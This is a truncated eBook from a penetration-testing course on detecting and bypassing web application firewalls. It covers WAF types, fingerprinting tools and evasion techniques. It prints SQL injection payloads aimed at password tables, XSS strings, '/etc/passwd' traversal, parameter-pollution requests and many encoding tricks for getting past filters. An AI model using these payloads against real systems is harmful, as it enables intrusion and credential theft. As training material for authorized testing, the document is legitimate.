You are on page 1of 85

TEAM

Editor-in-Chief

Joanna Kretowicz 

joanna.kretowicz@eforensicsmag.com

Editors:

Marta Sienicka

sienicka.marta@hakin9.org

Marta Strzelec

marta.strzelec@hakin9.org

Anna Kondzierska

anna.kondzierska@hakin9.org

Proofreader:
Lee McKenzie

Senior Consultant/Publisher: 

Paweł Marciniak 

CEO: 

Joanna Kretowicz 

joanna.kretowicz@hakin9.org  

Marketing Director: 

Joanna Kretowicz 

joanna.kretowicz@hakin9.org

DTP 

Marta Sienicka

sienicka.marta@hakin9.org

Cover Design
Hiep Nguyen Duc

Publisher 

Hakin9 Media Sp. z o.o.

02-676 Warszawa

ul. Postępu 17D 

Phone: 1 917 338 3631 

www.hakin9.org

All trademarks, trade names, or logos mentioned or used are the


property of their respective owners.

The techniques described in our articles may only be used in private,


local networks. The editors hold no responsibility for misuse of the
presented techniques or consequent data loss.
TABLE OF CONTENTS

About this eBook 8

Module 1 11
Introduction WAFs, WAF Bypassing and techniques
Web Servers and WAF Placement 13
WAF Operating Modes 14
WAF Filter Rules 15
WAF Fingerprinting 16
Automating WAF Fingerprinting with Burp, Nmap and wafw00f 19
WAF Fingerprinting with Burp suite 19
WAF Fingerprinting with Nmap 21
WAF Fingerprinting with WAFW00F 22
WAF Bypassing 24
Typical bypass flow 25
Path Parameters Exploitation 28
Support Material 29

Module 2 30
HTTP Parameter Pollution & Encoding Techniques
HTTP Parameter Pollution – HPP 31
Encoding Techniques 32
Bypassing WAF with SQL Injection 37
SQL Injection 38
Blind SQL Injection 39
WAF Filter Rules Bypass with SQL Injection 40
PHPIDS - PHP Intrusion Detection System 41
Mod_Security 42
HPP Exploitation with SQL Injection 43
HTTP Parameter Fragmentation – HPF 44
Bypassing WAFs with SQL Injection Normalization 45
Buffer Overflow + SQL Injection = Bypass WAF 46
WAF Bypass with SQL Injection Examples 48

Module 3 50
WAF Bypassing with XSS
Cross Site Scripting – XSS 51
XSS Syntax 53
Reflected Cross Site 54
Stored Cross-site Scripting 56
Example XSS Attacks
HPP and HPF 59
External Script Execution 59

5
Attack with Event Handlers 60
XSS Attacks with BeEF & XSS Attacks and WAF Bypass with XSSer
XSS Attacks with BeEF 61
XSS Attacks and WAF Bypass with XSSer 62
Path Traversal 63
Remote And Local File Inclusion 65

Module 4 68
Securing WAF And Conclusion
DOM Based XSS 69
Bypassing Blacklists With JavaScript 71
Automating WAF Bypassing 75
Bypassing WAF Practical Examples 80
Conclusion 85

6
If you purchased this standalone eBook you can use code

FIREBYPASSH9 to get 30% discount on the course. Joining gives

you access to video materials and exercises, and 18CPE points

after finishing it.

If you are our premium subscriber please remember you have

access to this course within your subscription.

COURSE PAGE
ABOUT THIS
EBOOK
This eBook is based on online course materials published at Hak-
in9 Magazine. In addition to what you can find here, the work-
shop contains video materials, exercises and final test.

Nowadays, the number of web application firewalls (or simply WAFs) is increasing,
which results in a more difficult penetration test from our side. So, it becomes a
necessity and really important to be able to bypass WAFs in a penetration test. In
this course, we are going to examine practical approaches in bypassing WAFs as a
part of our penetration test, and, of course, the theory behind WAFs and how
they work.

What will you learn?

• WAF Bypassing

• How WAFs work

• How to implement WAF Bypassing to our penetration test

What skills will you gain?

• WAF Bypassing and Hacking

• WAF Hardening and Securing

What will you need?

• PC with a preferred operating system (Mac OSX 10.5+, Windows 7+, Linux)

• At least 4gb of RAM for the VMs to work properly

• At least 10gb of free storage for VMs

What should you know before joining?

• Basics and understanding of penetration testing

• Basics and understanding of web applications and how they work

• Basic understanding of programming (Python scripts will be examined, and HTML and
SQL pieces, too)

8
COMMODO
QUAT
2013 Ligula
nostra

x
THOMAS
SERMPINIS

• 8 years of experience in the Security sector

• Java, C++, Python

• Editor of “Penetration Testing with Android Devices”, “Penetration Testing with Kali 2.0” courses
of PenTest Magazine.

• Editor of “Web Application Hacking: Data Store attacks and Advanced SQL Injection”, “Android
Malware Analysis” courses on eForensics Magazine.

• Editor on DeltaHacker Magazine

• 4 years of blogging on Penetration Testing topics (Cr0w’s Place)

• Hacking and Android Enthusiast

• Blog: https://cr0wsplace.wordpress.com

• YouTube channel: https://www.youtube.com/user/Cr0wsPlace

11
Module 1
Introduction WAFs, WAF

Bypassing and techniques


MODULE 1
Introduction to WAFs, WAF types and WAF Bypassing

As many of you may know, a Web Application Firewall is a firewall that sits in front of our web applications, and fil-

ters, analyzes and blocks all the HTTP traffic that passes through, and tries to communicate with the web server. The

basic element of this security implementation is the HTTP protocol, that manages the communication of the client

with the server, and the opposite. What WAFs are doing in this protocol is setting rules for the HTTP conversation.

These rules secure the website from common attacks in the industry, like cross site scripting and SQL injection, but

as you can understand, this is not so easy, and many times they fail.

You may have seen WAFs called reverse proxies. This is because WAFs are generally protecting the server side, and

if we say that a proxy can protect the client, then a reverse proxy can protect the server. It should also be noted that

HTTP is stateless, and the same happens with web applications. This means that web applications utilize the process-

ing info from HTTP while HTTP is not. This results many times in incompatibilities but we will not analyze it in this

course.

You can encounter many forms of WAF installations, such as server plugins, filters, or even customized WAFs for a

certain application. Also, there are different types of WAFs that we can distinguish in the following three categories:

1. Appliance-based Web application firewalls

2. Cloud and hybrid Web application firewalls

3. Code integrated Web application firewalls

The first category, Appliance-based WAFs, has to do with physical WAFs that the server manager installs physically

to the server. It is placed in front of each web infrastructure of the server, and has the great advantage to not have

the need of connecting to a remote server for the WAF services. It is fast, reliable, and on your facilities, so you can

deal with problems that it may face on your own. Many times, this may be a negative aspect, because you will need

specialized staff all the time in your facilities, in case of an emergency problem. Because of the physical structure of

this type, appliance based WAFs have to deal with all the traffic and protocol requirements that your server may

have, so the time of installation has to be set up for any possible case, or else it may face problems in the future.

The next category, that has many differences from the first one, is cloud-based WAFs, and as the name implies, they

are firewalls that are based on the cloud. Most of the time they are installed in a remote server of the cloud WAF

provider, or they can be shared between the company’s and cloud provider’s servers. In the case of complete cloud

13
MODULE 1
Introduction to WAFs, WAF types and WAF Bypassing

based WAF, we have serious protection of DDoS attacks, which is a common threat the last decade. On the other

hand, a distributed solution can be used for companies that have more than one server location, and they do not

need a physical solution in all the locations.

Finally, we have Code Integrated solutions, which is only software based, and most of the time, makes changes to

the web application code, or sits to the server. As you can understand, the thing that has no need for hardware

makes it cheaper, easier to fix, and easier to update. You still need specialized stuff in your company, but if the WAF

is well built, it can make things so easy that even the usual IT staff can handle it.

Web servers are basically the host of web applications and

Web Servers and WAF WAFs that we are talking about in this course. It consists of

specialized hardware and software that manages the commu-


Placement nication between the client and the server, with a variety of

protocols, like HTTP and FTP. Web servers are used most of the time to serve web pages, and on the hardware side

of things, it is pretty similar to a computer that stores the files required for the webpage’s structure, and serves them

to the client. The software side manages the communication and access control of the file system, with many differ-

ent implementations.

Image 1: A simple web server implementation. [3]

In the situation of a WAF placement on the web server we have the appliance based that as you can imagine is a

separate hardware piece, that sits in front of every other hardware on the web server. All the traffic has to first pass

and get filtered by the WAF, so everything is connected to it. In the cloud based systems, we may have both hard-

14
MODULE 1
Introduction to WAFs, WAF types and WAF Bypassing

ware and remote cloud service, but the difference is in the remote solution, where the traffic first passes through the

remote cloud server, it gets filtered and then it gets redirected to our web server. Finally, we have the code inte-

grated solutions that as we said is software that sits in front of all the other software in the web server, filters all the

traffic and allows it to the other web applications or blocks it.

Image 2: Where WAFs live in the client-server chain

There are also two security models that a WAF can follow in developing its security policies, which is positive or

negative. In the positive security policy, WAF allows the traffic that has come to be good to pass through, and

blocks all the other traffic. In the negative model, the WAF allows all the traffic to pass and only tries to block the

known to be bad traffic. Many times, WAF use both of these models, but things get complicated, so most of them

select one of the two.

Aside from the security models, we have the operating modes of a

WAF Operating Modes WAF. A WAF can operate differently, according to the use we want it

for. Each of them has its positive and negative aspects and it is a seri-

ous part to consider when selecting a WAF for your company. The

most famous operating modes are:

• Reverse proxy: As we said in the beginning of the module, a WAF can be used as a reverse proxy, because it

sits in front of the server and filters all the incoming traffic, which is the opposite from a proxy. Many times,

15
MODULE 1
Introduction to WAFs, WAF types and WAF Bypassing

the negative in a reverse proxy is the latency that may occur, but this problem tends to be fixed in newer solu-

tions. In this mode, WAF has its own IP address, and all traffic goes through this address.

• Transparent proxy: This proxy has the same conditions as the reverse proxy, with the change that it does not
have an IP address. This is because it sits behind another firewall, and it does not need any networking

changes in the server side.

• Layer 2 bridge: In this mode, the WAF is again sitting behind the firewall and acts like a layer 2 switch (more

about it here: https://en.wikipedia.org/wiki/LAN_switching). It is a mode with high performance, and no

server side changes.

• Network Monitor mode: In this mode, the WAF sits outside the web server (like the cloud based ones),

which sniffs and monitors all the traffic that heads to the web server. In this situation, the WAF is blocking un-

wanted traffic, by sending TCP resets to interrupt it.

WAFs have some preset rules out of the box, and of course, they get up-

WAF Filter Rules dated many times. These rules are known bad so that when a request is

done to the server, WAF is comparing it with these rules. If a request

matches one of the preset rules, the request is blocked, because it is

faced as malicious. Also, in most of the enterprise WAF solutions, these rules are hidden, and no one can access or

see them. This is happening because developers believe that if these rules are hidden, users won’t know them and

neither will attackers, so it protects users from easy bypass techniques. Of course, these rules can be bypassed many

ways that we will examine in later modules. Some common modifications to bypass filter rules can be shown in Im-

age 3. On the other hand, open source WAFs have their rules open, which is an open call for everyone to find by-

pass methods easily, and add them to in the filter rules, which is a proven security model of the open source commu-

nity.

16
MODULE 1
Introduction to WAFs, WAF types and WAF Bypassing

Image 3: Typical WAF Bypasses [5]

The first thing we need to know before starting bypassing WAFs is if

WAF Fingerprinting there is at all a WAF in the target, and how this WAF works. For these

reasons, we perform WAF fingerprinting techniques, which can be

separated in two different approaches of fingerprinting. One is passive, where we try to find signs of WAF in the

HTTP responses of the web server. Many times, WAFs are leaving HTTP headers or other interesting info about their

existence, which we can find and examine, to be able to verify it. The downside of this, is that many times WAFs

give false HTTP headers and info, or no info at all, so this technique can be faulty, or not useful at all. The other ap-

proach is active fingerprinting. In this approach, we examine the WAF’s behavior. Here we actively examine the web

servers’ responses. Many WAFs, for example, are changing its response depending on the way a URI is requested

due to the filter rules we saw earlier. If we give two different URIs and the one has successfully returned the re-

quested material, and the other not, then we know that a WAF is presented, and we can do some research for this

filter to be able to completely fingerprint the WAF.

Let’s see some practical examples of WAF fingerprinting. As we said earlier, a good indication of WAF existence is

the cookies (or some other HTTP Header) because some web application firewalls add their own cookie in the com-

munication between the client and the web server. For example, we can set a proxy, like Burp suite or OWASP ZAP,

17
MODULE 1
Introduction to WAFs, WAF types and WAF Bypassing

where we will filter all the HTTP Requests. If we see an HTTP request where a cookie has been added by the WAF,

we will distinguish the ns_af, which in this situation unveils that the web application firewall is a Citrix Netscaler.

Image 4: HTTP request containing the ns_af part of a cookie, which unveils the Netscaler WAF, implemented into the server.

Another way of manually fingerprinting a target WAF is by examining Header alterations that a WAF may imple-

ment. Some WAF products like the Netscaler again, allow the header to be rewritten and they can also make the

web server to produce different HTTP responses from the common ones. This many times can confuse the attacker

or automated tools that we may use.

Image 5: Example of a header change by NetScaler WAF.

Continuing, another interesting method is by examining the server responses. This is usually done with two ways:

1. WAFs identifying themselves inside the response

2. WAFs replying with specific response codes

For the first one, many times WAFs respond with messages from them into the HTML code, which can be easily iden-

tifiable. For the second one, many times we can face strange response codes, like 999, that may or may not be ac-

companied by a message, which repels us from attacking the system. You can see a good example from the Web-

Knight WAF, responding with a 999 code, in Image 5.

18
MODULE 1
Introduction to WAFs, WAF types and WAF Bypassing

Image 6: Strange response codes usually indicate the existence of a WAF in the server when we perform a penetration test.

Further known methods for WAF fingerprint, are:

• Drop Action – Sending a FIN/RST packet from the server or client to terminate a connection (technically
could also be an IDS/IPS)

• Pre Built-In Rules – Each WAF has different negative security signatures

• Side-Channel Attacks – Many WAFs can be recognized by the response time in a server request (Timing be-

havior)

19
MODULE 1
Introduction to WAFs, WAF types and WAF Bypassing

Burp Suite is an integrated platform for performing security

Automating WAF testing of web applications. It is a really powerful tool, if you

have the knowledge to use it. One thing we can do with it, of
Fingerprinting with Burp, course, is to fingerprint a WAF, and that’s what we are going

Nmap and wafw00f: to do right now. There is no installation needed, but you

need to have Java installed in your PC (you can download

JDK from here:


WAF Fingerprinting with
Burp suite
http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html). After the Java installa-

tion, head to the Portswiggers download section, and download the free plain .jar version of Burp suite

(https://portswigger.net/burp/download.html). As long as you have downloaded it, the first step is to set a Manual

proxy configuration in your browser. For example in Firefox, you go to Settings-Advanced-Network-Connection Set-

tings, you select the Manual proxy configuration and fill it in with 127.0.0.1 in the HTTP Proxy field, and 8080 in the

port field. Also, we have to use this proxy for all protocols, so we select the box below and click OK to finish with

the setup.

Now, we are ready to start Burp suite where we head to the proxy tab and we see the Intercept is ON (or OFF) but-

ton. If the button states that it is ON, we are ready and the proxy is listening in the browser’s communication, but if

it is in the OFF state, we click it to change its state to ON. The last (or first) thing to do is start browsing, and all the

requests that the website does will be presented in our Burp proxy window, like in Image 6.

20
MODULE 1
Introduction to WAFs, WAF types and WAF Bypassing

Image 7: Using the Burp Suites’ Proxy, browsing hakin9.org and examining the HTTP requests.

Another feature in Burp proxy is that we can change field content in the requests. For example, let’s say that a login

form does not allow for more than 14 characters in the username field, and this check happens client side, but we

want to insert some SQL queries to be able to bypass WAF with SQL Injection method. We will be able to insert our

query simply by adding it in the appropriate field in the request we see in Burp Suite. And this is only a simple exam-

ple in the enormous amount of Burp’s capabilities.

As you can see, the proxy window of Burp Suite has some other buttons and categories. First of all, we have the for-

ward and drop buttons that we can use to forward a request to its destination or completely drop it, and that can

give us several responses from the server, if a specific request with important information never reaches its destina-

tion. Finally, we have the Action button that can perform several actions that have to do with other capabilities of

Burp, like the Intruder or Repeater. We can set the request to these parts of the program and attack them with sev-

eral attacks that Burp gives us.

21
MODULE 1
Introduction to WAFs, WAF types and WAF Bypassing

A really good tool for active WAF fingerprinting (and generally an

WAF Fingerprinting excellent tool) is Nmap. It is one of the fastest automated WAF Fin-

gerprinters and uses HTTP pipelining, which is a technique where


with Nmap multiple HTTP requests are sent on a single TCP connection with-

out waiting for the corresponding responses. Nmap is also more comprehensive than others by having many more

fingerprints and has way less false positives.

Nmap is available for a variety of OS, and you can download it and see install instructions here:

https://nmap.org/download.html In Linux, we just type nmap accompanied with options we need, in a terminal, to

start it. Nmap also has some scripts we can run, and the WAF fingerprinting is executed with a script called http-

waf-fingerprint. To start it we just have to execute:

nmap --script=http-waf-fingerprint <targets>

As you can understand –script is used to select a script to run, and in the targets position we put the IP address of

the website that we can find with a reverse domain tool, or just the host address. http-waf-fingerprint script works

by sending a number of requests and looking in the responses for known behavior and fingerprints, such as Server

header, cookies and headers values. Intensive mode works by sending additional WAF specific requests to detect

certain behavior. We can use intensive mode, as follows:

nmap --script=http-waf-fingerprint --script-args http-waf-fingerprint.intensive=1 <tar-


gets>

Another Nmap script that we can use for WAFs is http-waf-detect. This script attempts to determine whether a web

server is protected by an IPS (Intrusion Prevention System), IDS (Intrusion Detection System) or WAF by probing the

web server with malicious payloads and detecting changes in the response code and body. To do this, the script will

send a “good” request and record the response, afterwards, it will match this response against new requests contain-

ing malicious payloads. In theory, web applications shouldn’t react to malicious requests because we are storing the

payloads in a variable that is not used by the script/file and only WAF/IDS/IPS should react to it. [8] If aggro mode is

set, the script will try all attack vectors (more noisy). An example, with the aggro script option, goes as follows:

nmap -p80 --script http-waf-detect --script-args="http-waf-detect.aggro " <target>

22
MODULE 1
Introduction to WAFs, WAF types and WAF Bypassing

Image 8: Nmap using the http-waf-fingerprint and detecting a WAF in the target host.

This script can detect numerous IDS, IPS, and WAF products since they often protect web applications in the same

way. But it won’t detect products that don’t alter the HTTP traffic. Results can vary based on product configuration,

but this script has been tested to work against various configurations of the following products [8]:

• Apache ModSecurity

• Barracuda Web Application Firewall

• PHPIDS

• dotDefender

• Imperva Web Firewall

• Blue Coat SG 400

WAFW00F is a Python script that automates WAF finger-

WAF Fingerprinting with printing and identifies Web Application Firewall (WAF) prod-

ucts. It is an active reconnaissance tool as it actually con-


WAFW00F nects to the web server, but it starts out with a normal HTTP

response and escalates as necessary. More clearly,

WAFW00F does the following:

• Sends a normal HTTP request and analyses the response; this identifies a number of WAF solutions

23
MODULE 1
Introduction to WAFs, WAF types and WAF Bypassing

• If that is not successful, it sends a number of (potentially malicious) HTTP requests and uses simple logic to

deduce which WAF it is

• If that is also not successful, it analyses the responses previously returned and uses another simple algorithm
to guess if a WAF or security solution is actively responding to our attacks [9]

Image 9: wafw00f running on google.com, and detecting that Google uses a WAF.

To install it, first of all clone the git repository on your Linux machine with the following command:

git clone https://github.com/EnableSecurity/wafw00f

After this, we just execute the following command in the folder of WAFW00F:

python setup.py install

Now we are ready to use it. First of all, to see which WAFs it can detect we can execute ./wafw00f -l and a list with

all the WAFs will appear. To use it, we just type ./wafw00f and the hostname we want to attack. For example:

./wafw00f https://www.hakin9.net

Finally, we can use the –help argument to get help for the usage of the script. For more info, and examples of the

wafw00f usage, see the corresponding video of module 1.

24
MODULE 1
Introduction to WAFs, WAF types and WAF Bypassing

WAFs Implementations many times has serious problems that

WAF Bypassing can result in bypassing them to execute a real and lethal at-

tack in the server, like SQL Injection or XSS. A typical problem

with WAFs implementations is using the right rule set. Rule sets have an impact on the function of the Web Applica-

tion behind the WAF and many times can block normal requests (false positives), or the rule set needs to be ad-

justed and no one did it. Another problem that can arise is in a rule set with exceptions that can result in false nega-

tives, which will have as a result the circumvention of the WAF and finally the servers’ application exploitation.

To start bypassing WAFs, let’s see some of the inner functionality of WAFs or what are the steps that a WAF is taking

to filter the requests. WAFs filter every incoming request to the web applications. The first step is to run the pre-

processor, where WAF decides whether a request will be processed further, or will immediately be stopped. This usu-

ally happens in extreme situations when the request is really suspicious. Next, we have the normalization process,

where the WAF is standardizing the input. And finally we have the step of Input validation where the WAF is check-

ing the user input against policies. After these three steps, and if the request passes it, it is forwarded to the back

end.

Image 10: WAF validation Steps. [6]

The step of Normalization is really important because with the functions that will be used, the writing of rules (as we

said earlier) is simplified, and no knowledge about different forms of input is needed. In Image 6, you can see some

of the functions that are used in this process.

Image 11: Functions used in the process of input normalization. [6]

25
MODULE 1
Introduction to WAFs, WAF types and WAF Bypassing

This step is serious because the attacker doesn’t get to choose what en-

Typical bypass flow codings might be effective. If there is no base64-decoder at the WAF

end, for example, performing base64 encoding will achieve nothing. If

there is a base64 decoding step, on the other hand, the application should be performing input validation after the

decoding has been done. We will examine encryption attack techniques in a later module.

Now, in the Input Validation step, security models exist that define how to enforce policies, which consist of regular

expressions. There are three core security models:

1. Positive Security Model

2. Negative Security Model

3. Hybrid Security Model

Of course, these models have both positive and negative aspects, and that’s why many of the developers and users

select the hybrid model.

Image 12: Positives and Negatives of security models. [6]

There is a typical bypass flow that is used by many attackers and professionals in WAF penetration testing. This flow

is only a direction, and not a rule. Many times the flow has to be changed for the bypass to come. The four flow

steps are:

1. Fingerprint WAF, and examine the filter rules that it is using. As we said earlier, HTTP responses and an

active fingerprint approach give useful info about the WAF that the server is using.

26
MODULE 1
Introduction to WAFs, WAF types and WAF Bypassing

2. Encrypt the payload that you are using. Many times, we will know the way that the WAF can be bypassed,

but the payload we have made may keep failing. This is because the filter rules may block our approach.

We can solve this by encrypting our payload with many ways that we are going to examine in the next

module.

3. We test our payload and examine the response. We have to carefully examine the Server’s responses to

be able to see which of our payloads are accepted by the web applications, and if they are executed or

not. Many other steps may exist in this section, like exploitation of several aspects of the WAF, that we

are going to examine later.

4. If the payload cannot bypass the WAF, we repeat the flow from step 2.

Pre-processor Exploitation Example

As we said, the first step is for the WAF to run the pre-processor, and that is what we are going to exploit now. WAF

pre-processor attacks are aimed at trying to obscure or remove an attack payload from a request prior to being proc-

essed by a WAF’s rule-sets.

Let’s examine the following vulnerable php code from the PHPIDS open-source WAF:

public static function convertFromRepetition($value)



{

// remove obvious repetition patterns

$value = preg_replace{(

'/(?:(.{2,})\1{32,})|(?:[+=|\-@\s]{128,})/',

'x',

$value

);

return $ value;

}

The vulnerable part of the regex is (?:(.{2,})\1{32,}) and it is located in the ./lib/IDS/Converter.php

file, which contains the IDS_Converter class, which is a collection of pre-processor methods, all of which are exe-

cuted on input data prior to reaching the filter.

27
MODULE 1
Introduction to WAFs, WAF types and WAF Bypassing

The vulnerable regular expression we saw matches any two characters that are repeated 33 or more times in succes-

sion. The first match is a back reference declared in the regex with the \1, 32 additional matches are required to

satisfy this regex. An exploitation of this vulnerability with XSS would be executing the following string:

“<script>alert(1)</script>”

This will do nothing, because it’s only matched by four filter rules. If this string is repeated 33 times then the attack

will be successful, and the WAF will be bypassed.

The above situation can be exploited with SQL Injection too, with the only restriction that the attacking query will

end with an SQL comment. Let’s see an example:

' union select password from mySQL.user limit 1 /*

This string matches six filter rules in the code above, which we can bypass if we duplicate the string 33 times and

send it again. We can do this because we added a comment at the end of the query that will comment out the fol-

lowing 32 strings, and only the first one will be executed.

The same goes to directory traversal and Local File Include (LFI) attacks. If we supply the following string in a URI pa-

rameter, nothing will happen:

../../../etc/passwd

But if we terminate the string with a null character and copy it 32 times more, we can execute the string. It uses the

same principles as with the SQL attack, but this time we have to use a null byte to stop the following 32 copies from

execution. Format string vulnerabilities can also be exploited the same way. An example for the PHPIDS code would

be:

%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%
s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s

Many other attacks are exploited by this vulnerability that we will see in the next modules, as well as the thorough

explanation of the attacks we pointed out in this chapter.

28
MODULE 1
Introduction to WAFs, WAF types and WAF Bypassing

One of the most serious exploitations is exploiting the path pa-

Path Parameters rameters, and many WAFs are still missing the concept of extra

path contents (PATH_INFO). Against such WAFs, the following


Exploitation simple path change works:

/myapp/admin.php/xyz?userid=1PAYLOAD

By giving some random contents to the path, we can completely bypass this kind of measure. Many times, the val-

ues supplied are treated as a prefix and the changes fail to return anything. Also, not all web servers support PA-

TH_INFO. In these situations, the path parameters may seem useful by the attacker. Consider the following URL:

/myapp/admin.php;param=value?userid=1PAYLOAD

In both cases, the operation of this evasion technique is the same: we alter the path so that it is not matched cor-

rectly by the WAF but still works in the backend [10].

Path parameters are actually path segment parameters, which means that any segment of a path can have them.

The following, for example, works against Tomcat:

/myapp;param=value/admin.php?userid=1PAYLOAD

And even a single semicolon is enough to break up the path:

/myapp;/admin.php?userid=1PAYLOAD

Let’s try to counter this evasion in Apache:

<Location ~ (?i)^[\x5c/]+myapp(;[^\x5c/]*)?[\x5c/]+admin\.php(;[^\x5c/]*)?>

SecRule ARGS:userid "!^\d+$"

</Location>

In the next module, we will extend this knowledge and start with HTTP parameter pollution technique.

29
MODULE 1
Introduction to WAFs, WAF types and WAF Bypassing

Support Material

(1) https://www.atlantic.net/blog/waf-web-application-firewall/

(2) http://searchsecurity.techtarget.com/feature/Comparing-the-best-Web-application-firewalls-in-the-industr

(3) https://developer.mozilla.org/en-US/docs/Learn/Common_questions/What_is_a_web_server

(4) Web Application Firewalls Presentation by SANS Technology Institute

(5) Bypassing Web Application Firewalls Pavol Lupták

(6) Web Application Firewalls Presentation by OWASP

(7) http://www.kroosec.com/2012/06/waf-fingerprinting-with-nmap.html

(8) https://portswigger.net/burp

(9) https://svn.nmap.org/nmap/scripts/http-waf-detect.nse

(10) Protocol-Level Evasion of Web Application Firewalls – Ivan Ristic

(11) Bypassing PHPIDS 0.6.5 – Michael Brooks

(12) https://github.com/EnableSecurity/wafw00f

(13) https://www.owasp.org/index.php/Web_Application_Firewall

(14) https://www.owasp.org/index.php/SQL_Injection

(15) https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol

(16) https://www.ptsecurity.com/ww-en/download/PT-devteev-CC-WAF-ENG.pdf

30
MODULE 2
WAF Bypassing with SQL In-

jection
MODULE 2
WAF Bypassing with SQL Injection

HTTP Parameter Pollution is an attack where we have the

HTTP Parameter Pollution & ability to override or add HTTP GET/POST parameters by

injecting string delimiters. HPP can be distinguished in two

Encoding Techniques categories, client-side and server-side, and the exploitation

of HPP can result in the following outcomes:

•Override existing hardcoded HTTP parameters


HTTP Parameter Pollution –
•Modify the application behaviors

HPP •Access and potentially exploit uncontrollable variables

• Bypass input validation checkpoints and WAF rules

WAFs, which is the topic of interest, many times perform query string parsing before applying the filters to this

string. This may result in the execution of a payload that an HTTP request can carry. Some WAFs analyze only one

parameter from the string of the request, most of the times the first or the last, which may result in a bypass of the

WAF filters, and execution of the payload in the server.

Let’s examine the following HTTP Request from a user to the web application:

HttpRequest("http://server.com/servlet/actions","POST", "action=transfer&amount="+
amount +"&recipient="+ beneficiary);

Now, let’s change the request to see the response of the server:

http://website.com/page?amount=1000&recipient=Tom%26action%3dwithdraw

After this, the request executed in the server will be:

action=transfer&amount=1000&recipient=Tom&action=withdraw

This is a result of a WAF that didn’t correctly parse all the parameters of a request, and now the user can supply spe-

cially crafted parameters, like the “action=withdraw” in the example, and perform a malicious action in the server

side.

32
MODULE 2
WAF Bypassing with SQL Injection

In all the attacks we saw, and that we are going to see, a

Encoding Techniques way to bypass many restrictions is to encode our strings,

and there are many ways to do this. Encoding is useful, for

example, in HPP that we saw earlier, and we may trick a WAF that cannot normally be bypassed to allow us in if it

does not use decode schemes, or if it does not include encoded strings in its filter rules. The same applies to SQL

Injection and XSS attacks that we are going to see later in this course.

As you will see, there are many encoding types that may be supported from a different layer of the server. So, a re-

quest that we may make will pass from most of these layers, some of them will try to decode it. Our job here is to

find which decode method, or methods, the layer that we are attacking is using and try to use others, or double en-

code our string to be able to bypass the layer of our scope. Let’s examine some of the encoding methods.

URL Encoding (Hex Encoding)


URI standards permit URLs to contain only the printable characters in the US-ASCII charset. Also, some characters

are restricted because they have special meaning in the URL scheme or the HTTP Protocol. This scheme is mostly

used to encode problematic characters, like these with special meaning, so that they can be transported over HTTP

without any conflicts. This works by using the hex equivalent for certain characters, such as %27 for ‘ or %3c for <,

which we can understand by the % prefix, followed by each character 2 digit ASCII code in hexadecimal. Some char-

acters that we may face are:

• %3d – =

• %25 – %

• %20 – Space

• %0a – New line

• %00 – Null byte

Let’s see an SQL example from module 1:

' union select password from mySQL.user limit 1 /*

This SQL query string, URL encoded, will be like this:

33
MODULE 2
WAF Bypassing with SQL Injection

%27%20union%20select%20password%20from%20mySQL.user%20limit%201%20%2F*

We can easily encode and decode with this method with the following website:

http://meyerweb.com/eric/tools/dencoder/

Null Bytes
Another rather simple way of encoding is using a null byte (%00) prior to any characters that the WAF filter is block-

ing. For example, the SQL Query we used earlier will be:

%00' union select password from mySQL.user limit 1 /*

WAFs will commonly ignore everything after the null but pass the entire string to the web server where it is proc-

essed.

Inline Comments
Adding inline comments can help the string to bypass the WAFs filters and reach its target. This is mostly used in

SQL queries, where we can add comments in the form of /*SELECT*/ or /**/SELECT/**/. For example, the SQL

query used earlier, will be:

'/**/union/**/select/**/password/**/from/**/mySQL.user/**/limit/**/1

Or, if we want to step it up a bit, we can use ways like the following:

'/**/uni/**/on/**/sel/**/ect/**/password/**/from/**/mySQL.user/**/limit/**/1

Where we can separate SQL keywords with comments.

White Spaces
Dropping a space or adding spaces that won’t affect the SQL statement may be a good strategy in an attack to by-

pass WAF filters. For example:

'or 1 = 1'

This statement could be:

‘or '1'='1'

34
MODULE 2
WAF Bypassing with SQL Injection

Or even adding a special character, like new line or tab that won’t change the SQL statement execution, can be ef-

fective.

Keyword Splitting
Here we can change the way we sent the SQL queries in an SQL attack to WAF by inserting a special character in

the middle of a keyword that will be removed by the WAF, and the query will be executed correctly in the final tar-

get. The previous example will be something like this:

' uni<on sel<ect password from mySQL.user limit 1 /*

It is similar to the comment way we saw earlier, but here if we determine a character that is blocked by the WAF, we

can use it for our advantage.

Character Encoding
Char() function in MySQL can be used to replace English char variables. For example, let’s take the following exam-

ple that can be used for exploitation of the DVWA:

' UNION select table_schema,table_name FROM information_Schema.tables where ta-


ble_schema = "dvwa" –

This statement with character encoding will be:

' UNION select table_schema,table_name FROM information_Schema.tables where ta-


ble_schema =char(100,118,119,97) –

As you can see here, we replaced the “dvwa” with char(100,118,119,97) which is the MySQL char() function

that uses ASCII codes inside and we use it to inject into MySQL without using double quotes that many times gets

filtered by WAFs. Char() also works on almost all other databases but sometimes it can only hold one character at

a time, like for example char(0x##)+char(0x##)+…So if the one way does not work for us, we have to try an-

other.

Chunked transfer encoding


In this type of encoding, we are sending the request we want in a series of chunks, or parts. This way can help us

split up malicious requests over multiple HTTP requests, so the WAF cannot block the malicious request. This can be

35
MODULE 2
WAF Bypassing with SQL Injection

done using the Transfer-Encoding HTTP Header in place of the Content-Length header. The transfer-encoding

header is used like this in an HTTP request:

Transfer-Encoding: <chunked | compress |deflate | gzip | identity>

Image 1: An HTTP Request using the Transfer-Encoding header for chunked transfer.

Keyword Replacing
Many times keywords themselves are blocked from the WAF. An encode way to bypass this filter is by replacing the

keywords we use with others, so once the WAF strips the keyword, our desired keyword will remain, and be exe-

cuted in the next layer. Taking our SQL example:

' union selselectect password from mySQL.user limit 1 /*

36
MODULE 2
WAF Bypassing with SQL Injection

Here is an example that the WAF is blocking the select keyword. Once the query passes and gets filtered, the mid-

dle select keyword will be deleted and the sel from the start and ect from the end will get merged and form a new

select keyword that will get executed in the server.

String Concatenation
With string concatenation, we can break up SQL keywords and bypass WAF filter rules. Concatenation syntax varies

based on the database engine. For example, in a MS SQL engine, the select 1 statement can be changed as below

by using concatenation:

EXEC('SEL' + 'ECT 1')

As we will see in our examples, this is an effective way to bypass WAFs.

Case Sensitivity
Many times, WAF filters will fail to filter a malicious keyword from a supplied query if the rules that it uses has case

sensitive keywords. For example, if the WAF can block the keyword select in lowercase and uppercase, but does

only these controls, supplying something like sElEcT will fail to be blocked, and will bypass the WAF. This applies

